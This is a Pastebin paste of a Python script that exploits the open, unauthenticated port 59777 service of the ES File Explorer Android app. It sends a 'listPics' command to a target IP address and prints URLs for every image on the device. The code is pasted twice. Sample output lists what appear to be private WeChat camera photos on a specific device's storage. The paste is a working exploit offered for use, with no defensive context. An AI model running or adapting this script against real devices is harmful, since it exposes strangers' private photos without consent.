DeaD_EyE

ES_Dateiexplorer.py

Jan 19th, 2019
171
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.04 KB | None | 0 0
  1. """
  2. List all Images from ES Dateiexplorer (insecure)
  3. Inspiration: https://www.youtube.com/watch?v=Fby_PhyVnC4
  4. Python 3.6+ is needed
  5.  
  6. install requests via pip
  7.  
  8. pip install requests --user
  9. """
  10.  
  11.  
  12. import sys
  13. import os
  14. import re
  15. import requests
  16.  
  17.  
  18. def get_pictures(ip):
  19.     '''
  20.    Returns all urls as list
  21.    '''
  22.     data = {'command': 'listPics'}
  23.     url = f'http://{ip}:59777/'
  24.     req = requests.post(url, json=data)
  25.     result = re.findall(r'"location":"([\w/.]+)"', req.text)
  26.     return [f'{url}{location}' for location in result]
  27.  
  28. def main(ip):
  29.     urls = os.linesep.join(get_pictures(ip))
  30.     print(urls)
  31.  
  32.  
  33. if __name__ == '__main__':
  34.     if len(sys.argv) != 2:
  35.         print(sys.argv[0], 'ip address')
  36.     else:
  37.         main(sys.argv[1])
  38.  
  39. """
  40. List all Images from ES Dateiexplorer (insecure)
  41. Inspiration: https://www.youtube.com/watch?v=Fby_PhyVnC4
  42. Python 3.6+ is needed
  43.  
  44. install requests via pip
  45.  
  46. pip install requests --user
  47. """
  48.  
  49.  
  50. import sys
  51. import os
  52. import re
  53. import requests
  54.  
  55.  
  56. def get_pictures(ip):
  57.     '''
  58.    Returns all urls as list
  59.    '''
  60.     data = {'command': 'listPics'}
  61.     url = f'http://{ip}:59777/'
  62.     req = requests.post(url, json=data)
  63.     result = re.findall(r'"location":"([\w/.]+)"', req.text)
  64.     return [f'{url}{location}' for location in result]
  65.  
  66. def main(ip):
  67.     urls = os.linesep.join(get_pictures(ip))
  68.     print(urls)
  69.  
  70.  
  71. if __name__ == '__main__':
  72.     if len(sys.argv) != 2:
  73.         print(sys.argv[0], 'ip address')
  74.     else:
  75.         main(sys.argv[1])
  76.  
  77. # output:
  78.  
  79. # http://172.254.2.181:59777//storage/emulated/0/tencent/MicroMsg/WeiXin/wx_camera_1527352187849.jpg
  80. # http://172.254.2.181:59777//storage/emulated/0/tencent/MicroMsg/WeiXin/wx_camera_1527432687077.jpg
  81. # http://172.254.2.181:59777//storage/emulated/0/tencent/MicroMsg/WeiXin/wx_camera_1527667747623.jpg
  82. # http://172.254.2.181:59777//storage/emulated/0/tencent/MicroMsg/WeiXin/mmexport1529218224446.jpg
  83. # http://172.254.2.181:59777//storage/emulated/0/tencent/MicroMsg/WeiXin/wx_camera_1529674534777.jpg
  84. # ...
Add Comment
Please, Sign In to add comment